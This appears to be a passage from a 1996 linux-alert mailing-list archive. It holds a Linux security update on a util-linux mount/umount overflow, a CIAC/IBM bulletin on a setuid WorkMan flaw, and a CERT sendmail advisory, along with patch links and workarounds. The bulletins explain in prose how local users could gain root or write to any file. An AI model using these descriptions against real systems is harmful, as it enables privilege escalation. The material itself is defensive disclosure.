this vulnerability were made available.
VULNERABILITY ANALYSIS
mount/umount utilities from the util-linux 2.5 suffer from the
buffer overrun problem. Installing mount/umount as suid-to-root
programs is necessary to allow local users to mount and unmount
removable media without having super-user privileges. If this
feature is not required, it is recommended that suid bit is removed
from both mount and umount programs. If this feature is required,
one might want to consider the other ways of implementing it. Such
approaches include but are not limited to using auto-mounter or sudo
mechanism.
DISTRIBUTION FIXES
Red Hat Commercial Linux
RedHat 2.1, RedHat 3.0.3 (Picasso) and RedHat 3.0.4
(Rembrandt) contain vulnerable umount utilities.
Red Hat Software advises users of Red Hat 2.1 to
upgrade to Red Hat 3.0.3 (Picasso)
The replacement RPMs are available from the
following URLs:
Red Hat Linux 3.0.3 (Picasso) i386 architecture
ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/util-linux-2.5-11fix.i386.rpm
ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/mount-2.5k-1.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm
ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm
ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm
RedHat Linux 3.0.3 (Picasso) Alpha architecture
ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/util-linux-2.5-11fix.axp.rpm
ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/mount-2.5k-1.axp.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm
ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm
ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm
RedHat Linux 3.0.4 Beta (Rembrandt) i386 architecture
ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/mount-2.5k-2.i386.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm
ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm
RedHat Linux 3.0.4 Beta (Rembrandt) SPARC architecture
ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/mount-2.5k-2.sparc.rpm
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm
ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm
Please verify the MD5 fingerprint of the RPMs
prior to installing them.
ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm
12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm
26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm
f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm
7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm
e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm
The Red Hat Software Inc notes that the only
difference between mount-2.5k-1 and mount-2.5k-2 is
in the packaging format.
Caldera Network Desktop
Caldera Network Desktop version 1.0 contains
vulnerable mount and umount programs.
Caldera Inc issued Caldera Security Advisory 96.04
where it recommends removing setuid bit from
mount and umount commands using command
chmod 755 /bin/mount /bin/umount.
Users of Caldera Network Desktop 1.0 upgraded to
RedHat 3.0.3 (Picasso) are advised to follow the
instructions in the Red Hat Commercial Linux section
of this LSF Update.
Debian
Debian/GNU Linux 1.1 contains the vulnerable
mount/umount programs. The Debian Project provided
the information that an updated package fixes this
problem.
The fix-kit can be obtained from the following URLs:
ftp://ftp.debian.org/debian/stable/binary-i386/base/mount_2.5l-1.deb
ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb
ftp://tarsier.cv.nrao.edu/linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb
Please verify the MD5 signature of the RPM prior
to installing the fix-kit
6672530030f9a6c42451ace74c7510ca mount_2.5l-1.deb
WARNING: The message that contained information
about MD5 hash of the mount_2.5l-1.deb package was
not signed. We were unable to verify the integrity
of the message.
Slackware
There is no official information available about
vulnerability of Slackware 3.0 or Slackware 3.1
distributions from distribution maintainer.
The testing indicates that both Slackware 3.0 and
Slackware 3.1 distributions contains the vulnerable
mount and umount programs.
Until the official fix-kit for Slackware 3.0 and 3.1
becomes available system administrators are advised
to follow the instructions in the Other Linux
Distributions section of this LSF Update
Yggdrasil
Yggdrasil Computing Inc neither confirmed not denied
vulnerability of Plug and Play Fall'95 Linux.
The testing indicates that Plug and Play Fall'95
Linux distribution contains the vulnerable mount
and umount program.
Until the official fix-kit for Yggdrasil Plug and
Play Linux becomes available system administrators
are advised to follow the instructions in the Other
Linux Distributions section of this LSF Update
Other Linux Distributions
It is believed at this moment that all Linux
distributions using util-linux version 2.5 or prior
to that contain the vulnerable mount and umount
programs.
Administrators of systems based on distributions
not listed in this LSF Update or distributions that
do not have fix-kits available at the moment are
urged to contact their support centers requesting
the fix-kits to be made available to them.
In order to prevent the vulnerability from being
exploited in the mean time, it is recommended that
the suid bit is removed from mount and umount
programs using command
chmod u-s /bin/mount /bin/umount
Until the official fix-kits are available for those
systems, it is advised that system administrators
obtain the source code of fixed mount program used
in Debian/GNU Linux 1.1, compile it and replace the
vulnerable binaries.
The URLs for the source code of the Debian/GNU Linux
1.1 package which fixes the security problem of
mount utility can be obtained from the following
URLs:
ftp://ftp.debian.org/debian/stable/source/base/mount_2.5l-1.tar.gz
ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz
ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz
Warning: We did not receive MD5 hash of the
mount_2.5l-1.tar.gz file.
CREDITS
This LSF Update is based on the information originally posted to
linux-alert. The information on the fix-kit for Red Hat commercial
Linux was provided by Elliot Lee ([email protected]) or Red Hat
Software Inc,; for the Caldera Network Desktop by Ron Holt of
Caldera Inc.; for Debian/GNU Linux 1.1 by Guy Maor
([email protected])
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMiNugoxFUz2t8+6VAQFyMgP+O6rJMZ8FHM2dyS+SY5D92837zjAwgMDk
lNRaxrntFx/sZmyTpejERB1pu/uTRR+O2TJrB5s7mteLbB7wuuJNa38R4GuEBAOy
8dQ/pl+2vNQmqK7iwtMDGBNRda027tvBWO9vjxzqCKwHEiDSFQJ4hkM03oAwhmYi
z1pegn80gsE=
=zMIM
-----END PGP SIGNATURE-----
linux-alert/linux-alert.9609100664 1767 1767 150132 6220524427 15227 0ustar majdommajdomFrom [email protected] Mon Sep 16 12:33:30 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id MAA08651; Mon, 16 Sep 1996 12:33:30 -0400
Resent-Date: Mon, 16 Sep 1996 12:19:56 -0400
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected], [email protected]
X-Received: from cheetah.llnl.gov by dfw.dfw.net (4.1/SMI-4.1) id AA17826; Fri,
30 Aug 96 15:39:19 CDT
X-Received: from cheetah.llnl.gov by cheetah.llnl.gov (8.7.5/LLNL-2.0) id
NAA16956; Fri, 30 Aug 1996 13:40:32 -0700 (PDT)
Originator: [email protected]
X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas
Mime-Version: 1.0
X-Mailer: Microsoft Internet Mail 4.70.1132
Message-ID: <[email protected]>
From: Marcey Kelley
To: Multiple recipients of list BUGTRAQ
Subject: [linux-alert] CIAC Bulletin G-42:Vulnerability in WorkMan Program
Date: Mon, 2 Sep 1996 22:47:43 -0500
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
[Mod: Forwarded from Bugtraq. --Jeff.]
-----BEGIN PGP SIGNED MESSAGE-----
__________________________________________________________
The U.S. Department of Energy
Computer Incident Advisory Capability
___ __ __ _ ___
/ | /_\ /
\___ __|__ / \ \___
__________________________________________________________
INFORMATION BULLETIN
Vulnerability in WorkMan Program
August 29, 1996 15:00 GMT Number G-42
______________________________________________________________________________
PROBLEM: When the "WorkMan" compact disc playing program is installed
set-user-id "root", it can be used to make any file on the
system world-writable.
PLATFORM: Linux, UNIX System V Release 4.0 (and derivatives).
DAMAGE: A non-privileged user can use "WorkMan" to make any file on the
system world-writable, and then modify that file's contents.
This vulnerbility can allow the user to create accounts,
destroy log files, and perform other unauthorized actions.
SOLUTION: Apply the patches listed in the vendor bulletin below.
______________________________________________________________________________
VULNERABILITY This vulnerability is becoming widely known.
ASSESSMENT:
______________________________________________________________________________
[Begin IBM Bulletin]
- - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-ERS-ALERT
- - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE
======= ============ ====== ======
======= ============== ======= =======
=== === ==== ====== ======
=== =========== ======= =======
=== =========== === ======= ===
=== === ==== === ===== ===
======= ============== ===== === =====
======= ============ ===== = =====
EMERGENCY RESPONSE SERVICE
SECURITY VULNERABILITY ALERT
28 August 1996 18:00 GMT Number: ERS-SVA-E01-1996:005.1
=============================================================================
VULNERABILITY SUMMARY
VULNERABILITY: When the "WorkMan" compact disc playing program is installed
set-user-id "root," it can be used to make any file on the
system world-writable.
PLATFORMS: Linux, UNIX System V Release 4.0 (and derivatives)
SOLUTION: Remove the set-user-id bit from the "workman" program.
THREAT: A non-privileged user can use "WorkMan" to make any file on
the system world-writable, and then modify that file's
contents.
=============================================================================
DETAILED INFORMATION
NOTE: This advisory is NOT a re-hash of the problem reported on several lists
earlier this week by a group calling itself "r00t." The vulnerability
described by "r00t" is essentially a subset of the problem described in
this alert.
I. Description
"WorkMan" is a popular program used for playing audio compact disks on local
workstation CD-ROM drives that is widely available from many sites around the
Internet. Versions of "WorkMan" are also included with some operating system
distributions, such as Linux.
On systems where "WorkMan" was built and installed using the procedures that
are given in "Makefile.linux" or "Makefile.svr4" (in general, this means on
Linux systems and UNIX System V Release 4.0 systems), the "workman" program
is installed set-user-id "root." This means that when the program is run,
it will execute with super-user permissions.
In order to allow signals to be sent to it, "WorkMan" writes its process-id
to a file called "/tmp/.wm_pid." The "-p" option to the program allows the
user to specify a different file name in which to record this information.
When a file is specified with "-p", "WorkMan" simply attempts to create and/or
truncate the file, and if this succeeds, "WorkMan" changes the permissions on
the file so that it is world-readable and world-writable.
In the general case, when "WorkMan" is installed without the set-user-id bit
set, the normal file access permissions provided by the operating system will
prevent users from creating or truncating files they are not authorized to
create or truncate. However, when "WorkMan" is installed set-user-id "root,"
this process breaks down (because "root" is allowed to create/truncate any
file).
II. Impact
A user executing a set-user-id "root" version of "WorkMan" can use the "-p"
option to create a file anywhere in the file system, or to truncate any file
in the file system. More importantly, the file specified with "-p" will be
world-readable and world-writable when "WorkMan" is finished. This can enable
the user to create accounts, destroy log files, and perform other unauthorized
actions.
III. Solutions
"WorkMan" does not require the set-user-id bit to work; it is installed this
way only on systems that do not make the CD-ROM device file world-readable
by default.
This vulnerability can be alleviated by:
1) Removing the set-user-id bit from the "WorkMan" program, via a command
such as
chmod u-s /usr/local/bin/workman
and
2) Making the CD-ROM device world-readable, via a command such as
chmod +r /dev/cdrom
Note that on multi-user systems, part (2) of the above procedure will allow
any user to access the contents of the disc installed in the CD-ROM; this
may not be desirable in all environments.
IV. Acknowledgements
IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the
IBM T. J. Watson Research Center for their discovery of this vulnerability,
bringing it to our attention, providing the steps to fix it, and assistance in
developing this alert.
UNIX is a technology trademark of X/Open Company, Ltd.
===============================================================================
[End IBM Bulletin]
_______________________________________________________________________________
CIAC wishes to acknowledge the contributions of IBM for the
information contained in this bulletin.
_______________________________________________________________________________
CIAC, the Computer Incident Advisory Capability, is the computer
security incident response team for the U.S. Department of Energy
(DOE) and the emergency backup response team for the National
Institutes of Health (NIH). CIAC is located at the Lawrence Livermore
National Laboratory in Livermore, California. CIAC is also a founding
member of FIRST, the Forum of Incident Response and Security Teams, a
global organization established to foster cooperation and coordination
among computer security teams worldwide.
CIAC services are available to DOE, DOE contractors, and the NIH. CIAC
can be contacted at:
Voice: +1 510-422-8193
FAX: +1 510-423-8002
STU-III: +1 510-423-2604
E-mail: [email protected]
For emergencies and off-hour assistance, DOE, DOE contractor sites,
and the NIH may contact CIAC 24-hours a day. During off hours (5PM -
8AM PST), call the CIAC voice number 510-422-8193 and leave a message,
or call 800-759-7243 (800-SKY-PAGE) to send a Sky Page. CIAC has two
Sky Page PIN numbers, the primary PIN number, 8550070, is for the CIAC
duty person, and the secondary PIN number, 8550074 is for the CIAC
Project Leader.
Previous CIAC notices, anti-virus software, and other information are
available from the CIAC Computer Security Archive.
World Wide Web: http://ciac.llnl.gov/
Anonymous FTP: ciac.llnl.gov (128.115.19.53)
Modem access: +1 (510) 423-4753 (28.8K baud)
+1 (510) 423-3331 (28.8K baud)
CIAC has several self-subscribing mailing lists for electronic
publications:
1. CIAC-BULLETIN for Advisories, highest priority - time critical
information and Bulletins, important computer security information;
2. CIAC-NOTES for Notes, a collection of computer security articles;
3. SPI-ANNOUNCE for official news about Security Profile Inspector
(SPI) software updates, new features, distribution and
availability;
4. SPI-NOTES, for discussion of problems and solutions regarding the
use of SPI products.
Our mailing lists are managed by a public domain software package
called ListProcessor, which ignores E-mail header subject lines. To
subscribe (add yourself) to one of our mailing lists, send the
following request as the E-mail message body, substituting
CIAC-BULLETIN, CIAC-NOTES, SPI-ANNOUNCE or SPI-NOTES for list-name and
valid information for LastName FirstName and PhoneNumber when sending
E-mail to [email protected]:
subscribe list-name LastName, FirstName PhoneNumber
e.g., subscribe ciac-notes OHara, Scarlett W. 404-555-1212 x36
You will receive an acknowledgment containing address, initial PIN,
and information on how to change either of them, cancel your
subscription, or get help.
PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing
communities receive CIAC bulletins. If you are not part of these
communities, please contact your agency's response team to report
incidents. Your agency's team will coordinate with CIAC. The Forum of
Incident Response and Security Teams (FIRST) is a world-wide
organization. A list of FIRST member organizations and their
constituencies can be obtained by sending email to
[email protected] with an empty subject line and a message body
containing the line: send first-contacts.
This document was prepared as an account of work sponsored by an
agency of the United States Government. Neither the United States
Government nor the University of California nor any of their
employees, makes any warranty, express or implied, or assumes any
legal liability or responsibility for the accuracy, completeness, or
usefulness of any information, apparatus, product, or process
disclosed, or represents that its use would not infringe privately
owned rights. Reference herein to any specific commercial products,
process, or service by trade name, trademark, manufacturer, or
otherwise, does not necessarily constitute or imply its endorsement,
recommendation or favoring by the United States Government or the
University of California. The views and opinions of authors expressed
herein do not necessarily state or reflect those of the United States
Government or the University of California, and shall not be used for
advertising or product endorsement purposes.
LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC)
G-32: HP-UX Vulnerabilities in expreserve, rpc.pcnfsd, rpc.statd
G-33: rdist vulnerability
G-34: HP-UX Vulnerabilities (netttune, SAM remote admin)
G-35: SUN Microsystems Solaris vold Vulnerability
G-36: HP-UX Vulnerabilities in elm and rdist Programs
G-37: Vulnerability in Adobe FrameMaker (fm_fls)
G-38: Linux Vulnerabilities in mount and umount Programs
G-39: Vulnerability in expreserve
G-40: SGI admin and user Program Vulnerabilities
G-41: Vulnerability in BASH Program
RECENT CIAC NOTES ISSUED (Previous Notes available from CIAC)
Notes 07 - 3/29/95 A comprehensive review of SATAN
Notes 08 - 4/4/95 A Courtney update
Notes 09 - 4/24/95 More on the "Good Times" virus urban legend
Notes 10 - 6/16/95 PKZ300B Trojan, Logdaemon/FreeBSD, vulnerability
in S/Key, EBOLA Virus Hoax, and Caibua Virus
Notes 11 - 7/31/95 Virus Update, Hats Off to Administrators,
America On-Line Virus Scare, SPI 3.2.2 Released,
The Die_Hard Virus
Notes 12 - 9/12/95 Securely configuring Public Telnet Services, X
Windows, beta release of Merlin, Microsoft Word
Macro Viruses, Allegations of Inappropriate Data
Collection in Win95
Notes 96-01 - 3/18/96 Java and JavaScript Vulnerabilities, FIRST
Conference Announcement, Security and Web Search
Engines, Microsoft Word Macro Virus Update
-----BEGIN PGP SIGNATURE-----
Version: 4.0 Business Edition
iQCVAgUBMicE47nzJzdsy3QZAQGRCQQAiA9WGkaF14qx8/7X3qvEicuv23dBgrlV
siE/Jcq7yBMtuDCThMk9nDbDf1fGLUyysZ/MeeS9ybBpWJxzgWL2iXP9f0yBRtap
siGX0ij+7LKrexR5nWBsdf7jZF34qaqU8xRlBHxbC7QiZIZD7SMtl9ZYBsflN8nP
CFT0bTnpUOk=
=PYbw
-----END PGP SIGNATURE-----
From [email protected] Thu Sep 19 09:34:32 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id JAA00483; Thu, 19 Sep 1996 09:34:32 -0400
Resent-Date: Thu, 19 Sep 1996 09:17:11 -0400
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected], [email protected]
Message-Id: <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
From: CERT Advisory
To: [email protected]
Subject: [linux-alert] CERT Advisory CA-96.20 - Sendmail Vulnerabilities
Date: Wed, 18 Sep 1996 10:34:33 -0400
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
-----BEGIN PGP SIGNED MESSAGE-----
=============================================================================
CERT(sm) Advisory CA-96.20
Original issue date: September 18, 1996
Last revised: --
Topic: Sendmail Vulnerabilities
- -----------------------------------------------------------------------------
*** This advisory supersedes CA-95:05 ***
The CERT Coordination Center has received reports of two security problems in
sendmail that affect all versions up to and including 8.7.5. By exploiting
the first of these vulnerabilities, users who have local accounts can gain
access to the default user, which is often daemon. By exploiting the second
vulnerability, any local user can gain root access.
The CERT/CC team recommends installing vendor patches or upgrading to the
current version of sendmail (8.7.6). Until you can do so, we urge you to
apply the workaround provided in Sec. III.C. In all cases, be sure to take
the extra precautions listed in Sec. III.D.
For beta testers of sendmail 8.8: The vulnerabilities described in this
advisory have been fixed in the beta version.
We will update this advisory as we receive additional information. Please
check advisory files regularly for updates that relate to your site. In
addition, you can check ftp://info.cert.org/pub/latest_sw_versions/sendmail
to identify the most current version of sendmail.
- -----------------------------------------------------------------------------
I. Description
There are two vulnerabilities in all versions of sendmail up to and
including sendmail 8.7.5. The first vulnerability is a resource starvation
problem and the second is a buffer overflow problem.
Resource Starvation
-------------------
When email is forwarded to a program using a .forward file or an :include:
statement within a .forward or alias file, that program is executed as the
owner of the .forward file or the file referenced by the :include:
statement. Similarly, if email is forwarded to a file, that file is
opened as the owner of the .forward file or the file referenced by the
:include: statement. The file owner is called the "controlling user."
If the message cannot be delivered immediately, the name of the
controlling user is written into the queue file along with the other
delivery information so that the appropriate permissions can be acquired
when the mail queue is processed.
Only the name of the controlling user is written in the queue file. This
name is derived by calling the system routine getpwuid(3) on the user id
of the file owner. If getpwuid fails, the sendmail default user (defined
by the DefaultUser option in 8.7 and by the "u" and "g" options in older
releases) is assumed.
In some cases, the system can be forced into resource starvation, thus
forcing getpwuid(3) to fail even though an entry exists in /etc/passwd
corresponding to that uid. Since getpwuid has no way of portably
returning an error meaning "resource failure" as distinct from "user id
not found," sendmail has no way of distinguishing between these cases; it
assumes that the uid is unknown and falls back to the default user.
By starving sendmail of specific resources, sendmail will create files
owned by the default user. Once created, these files can be used to
access other files owned by the default user. In addition, these files
owned by the default user can be used to leverage access to other
privileged users on the system.
Buffer Overflows
----------------
There are several buffer overflows present in sendmail version 8.7.5 and
earlier. Some of the buffer overflows could result in local users gaining
unauthorized root access.
Significant work has been done on sendmail version 8.8 (now in beta
test) to eliminate the problem, and the code changes originally planned
for 8.8 have been backported to 8.7.6 to address these vulnerabilities.
II. Impact
Resource Starvation
-------------------
Anyone with access to an account on the system can run programs or write
files as the default user. The danger of compromising the default user
depends primarily on the other files in your system owned by that user.
For example, on many systems the line printer spool directory (e.g.,
/var/spool/lpd) is owned by daemon; because the line printer subsystem
runs setuid root, it may be possible to gain additional privileges.
However, some other systems have no files owned by user daemon on the
default system, and the only files owned by group daemon are not
writable by that group; hence, the danger is minimal.
Buffer Overflows
----------------
Anyone with access to an account on the system can gain root access.
III. Solution
Install a patch from your vendor if one is available (Sec. A) or upgrade
to the current version of sendmail (Sec. B). Until you can take one of
those actions, we recommend applying the workaround described in Sec. C.
This workaround addresses the resource starvation problem but not buffer
overflows.
In all cases, you should take the precautions listed in Sec. D.
Note to beta testers of sendmail 8.8: The vulnerabilities described in
this advisory have been fixed in the beta version of 8.8.
A. Install a vendor patch.
Below is a list of the vendors who have provided information about
sendmail. Details are in Appendix A of this advisory; we will update
the appendix as we receive more information. If your vendor's name
is not on this list, please contact the vendor directly.
Digital Equipment Corporation
Hewlett-Packard Company
IBM Corporation
Linux
Open Software Foundation
The Santa Cruz Operation
Silicon Graphics Inc.
Sun Microsystems, Inc.
B. Upgrade to the current version of sendmail.
Install sendmail 8.7.6. This version is a "drop in" replacement for
8.7.x. There is no patch for 8.6.x. If you are using version 8.6 or
earlier, you need to upgrade to the current version and rebuild your
sendmail.cf files. Upgrading to version 8.7.6 addresses both
vulnerabilities described in this advisory.
Sendmail 8.7.6 is available from
ftp://ftp.sendmail.org/ucb/src/sendmail/sendmail.8.7.6.tar.gz
ftp://info.cert.org/pub/tools/sendmail/sendmail.8.7.6.tar.gz
ftp://ftp.cert.dfn.de/pub/tools/net/sendmail/sendmail.8.7.6.tar.gz
MD5 (sendmail.8.7.6.tar.gz) = 4a1f2179c53c9106bc8d7738f4d55667
Also in that directory are .Z and .sig files. The .Z file contains the
same bits as the .gz file, but is compressed using UNIX compress
instead of gzip. The .sig is Eric Allman's PGP signature for the
uncompressed tar file. The key fingerprint is
Type bits/keyID Date User ID
pub 1024/BF7BA421 1995/02/23 Eric P. Allman
Key fingerprint = C0 28 E6 7B 13 5B 29 02 6F 7E 43 3A 48 4F 45 29
Eric P. Allman
Eric P. Allman
Eric P. Allman
Eric P. Allman
We strongly recommend that when you change to a new version of sendmail
you also change to the configuration files that are provided with that
version.
Significant work has been done to make this task easier. It is now
possible to build a sendmail configuration file (sendmail.cf) using the
configuration files provided with the sendmail release. Consult the
cf/README file for a more complete explanation. Creating your
configuration files using this method makes it easier to incorporate
future changes to sendmail into your configuration files.
Finally, for Sun users, a paper is available to help you convert your
sendmail configuration files from the Sun version of sendmail to one
that works with sendmail version 8.7.x. The paper is entitled
"Converting Standard Sun Config Files to Sendmail Version 8" and was
written by Rick McCarty of Texas Instruments Inc. It is included in
the distribution and is located in contrib/converting.sun.configs.
C. Apply a workaround.
Resource Starvation
-------------------
Eric Allman, the author of sendmail, has provided the following
workaround to the resource starvation vulnerability.
Using smrsh as "prog" mailer limits the programs that can be run as
the default user. Smrsh does not limit the files that can be written,
but less damage can be done by writing files directly.
The damage can be almost entirely constrained by ensuring that the
default user is an innocuous one. Sendmail defaults to 1:1 (daemon)
only because that is reasonably portable. A special "mailnull"
account that is used only for this purpose would be better. This user
should own no files and should have neither a real home directory nor
a real shell. A sample password entry might be:
mailnull:*:32765:32765:Sendmail Default User:/no/such/dir:/dev/null
A corresponding entry should be made in /etc/group:
mailnull:*:32765:
These assume that there are no other users or groups with id = 32765
on your system; if there are, pick some other unique value. After
creating this user, change the line in /etc/sendmail.cf reading
O DefaultUser=1:1
to read
O DefaultUser=mailnull
If you are running 8.6.*, you will have to change the lines reading
Ou1
Og1
to read
Ou32765
Og32765
Finally, if you are using the m4(1)-based sendmail configuration scheme
provided with sendmail 8.7.*, you should add the following line to the
m4 input file, usually named sendmail.mc:
define(`confDEF_USER_ID', 32765:32765)
The actual values should, of course, match those in the passwd file.
Buffer Overflows
----------------
There is no workaround for the buffer overflow problem. To address this
problem, you must apply your vendor's patches or upgrade to the current
version of sendmail (version 8.7.6).
D. Take additional precautions.
Regardless of which solution you apply, you should take these extra
precautions to protect your systems.
* Use the sendmail restricted shell program (smrsh)
With *all* versions of sendmail, use the sendmail restricted shell
program (smrsh). You should do this whether you use vendor-supplied
sendmail or install sendmail yourself. Using smrsh gives you improved
administrative control over the programs sendmail executes on behalf of
users.
A number of sites have reported some confusion about the need to continue
using the sendmail restricted shell program (smrsh) when they install a
vendor patch or upgrade to a new version of sendmail. You should always
use the smrsh program.
smrsh is included in the sendmail distribution in the subdirectory
smrsh. See the RELEASE_NOTES file for a description of how to integrate
smrsh into your sendmail configuration file.
smrsh is also distributed with some operating systems.
* Use mail.local
If you run /bin/mail based on BSD 4.3 UNIX, replace /bin/mail with
mail.local, which is included in the sendmail distribution. It is also
included with some other operating systems distributions, such as
FreeBSD.
Although the current version of mail.local is not a perfect solution, it
is important to use it because it addresses vulnerabilities that are
being exploited. For more details, see CERT advisory CA-95:02.
Note that as of Solaris 2.5 and beyond, mail.local is included with the
standard distribution. To use mail.local, replace all references to
/bin/mail with /usr/lib/mail.local. If you are using the M4(1)-based
configuration scheme provided with sendmail 8.X, add the following to
your configuration file:
define(`LOCAL_MAILER_PATH', /usr/lib/mail.local)
* WARNING: Check for executable copies of old versions of mail programs
If you leave executable copies of older versions of sendmail installed
in /usr/lib (on some systems, it may be installed elsewhere), the
vulnerabilities in those versions could be exploited if an intruder
gains access to your system. This applies to sendmail.mx as well as
other sendmail programs. Either delete these versions or change the
protections on them to be non-executable.
Similarly, if you replace /bin/mail with mail.local, remember to remove
old copies of /bin/mail or make them non-executable.
...........................................................................
Appendix A - Vendor Information
Below is a list of the vendors who have provided information for this
advisory. We will update this appendix as we receive additional information.
If you do not see your vendor's name, please contact the vendor directly.
Digital Equipment Corporation
=============================
[About the resource starvation problem]
Source:
Software Security Response Team
Copyright (c) Digital Equipment Corporation 1996. All rights reserved.
08.SEP.1996
At the time of writing this document, patches (binary kits) for Digital's
UNIX related operating systems are being developed. Digital will provide
notice of availability for remedial kits through AES services (DIA, DSNlink
FLASH), placed in the public FTP patch service domain and also be
available from your normal Digital Support channel.
ftp://ftp.service.digital.com/public/{OS/{vn.n}
| |
| |--version
|--osf or ultrix
9/96 - DIGITAL EQUIPMENT CORPORATION
Hewlett-Packard Company
=======================
[About the resource starvation problem]
HP-UX is vulnerable, and a patch is in progress.
The HP SupportLine Mail Service provides notification of security patches
for HP-UX to its 'security_info' mailing list. For information on the
service, send mail to [email protected] with 'help' in the body of
the message (without quotes).
To report new security defects in HP software, send mail to
[email protected].
IBM Corporation
================
The following APARs are being developed and will be available shortly.
See the appropriate release below to determine your action.
AIX 3.2
-------
Apply the following fixes to your system:
APAR - IX61303 IX61307
AIX 4.1
-------
Apply the following fixes to your system:
APAR - IX61162 IX61306
To determine if you have this APAR on your system, run the following
command:
instfix -ik IX61162 IX61306
AIX 4.2
-------
Apply the following fixes to your system:
APAR - IX61304 IX61305
To determine if you have this APAR on your system, run the following
command:
instfix -ik IX61304 IX61305
To Order
--------
APARs may be ordered using Electronic Fix Distribution (via FixDist)
or from the IBM Support Center. For more information on FixDist,
http://service.software.ibm.com/aixsupport/
or send e-mail to [email protected] with a subject of "FixDist".
IBM and AIX are registered trademarks of International Business Machines
Corporation.
Linux
=====
[For the resource starvation problem:]
Debian Linux: not vulnerable (uses smail)
Red Hat and derivatives:
ftp://ftp.redhat.com/pub/redhat-3.0.3/i386/updates/RPMS/sendmail*
Open Software Foundation
========================
OSF's OSF/1 R1.3.2 is not vulnerable to these types of attacks described in
the resource starvation sections of the advisory.
OSF's OSF/1 R1.3.2 is vulnerable to the buffer overflow problems.
We will address the problem in our next maintenance release.
The Santa Cruz Operation
========================
Any SCO operating system running a version of sendmail provided by SCO
is vulnerable to this problem. SCO is providing Support Level
Supplement (SLS) oss443a for the following releases to address this issue:
SCO Internet FastStart release 1.0.0
SCO OpenServer releases 5.0.0 and 5.0.2
This SLS provides a pre-release version of sendmail release 8.7.6
for these platforms. SCO hopes to have a final version of sendmail 8.7.6
available to address both issues mentioned in this advisory in the near
future.
Note that only SCO Internet FastStart uses sendmail as the default mail
system. All other SCO operating systems use other mail systems such as the
Multi-Channel Memorandum Distribution Facility (MMDF) or the "mailsurr"
mail system as the default, and as such are not vulnerable to this
problem unless otherwise configured to use sendmail.
SCO intends to provide a similar patch for SCO UnixWare release 2.1.0
in the near future.
When configured to use a version of sendmail provided by SCO, releases
prior to the ones mentioned here are also vulnerable, but no
plans have yet been made concerning patches for these earlier releases.
You can download SLS oss443a as shown below.
Anonymous ftp (World Wide Web URL)
-------------
ftp://ftp.sco.COM/SSE/oss443a (SLS image)
ftp://ftp.sco.COM/SSE/oss443a.ltr.sse (cover letter/install notes)
Compuserve
----------
SLS oss443a is also available in the SCO Forum on Compuserve.
SCO Online Support (SOS) BBS
----------------------------
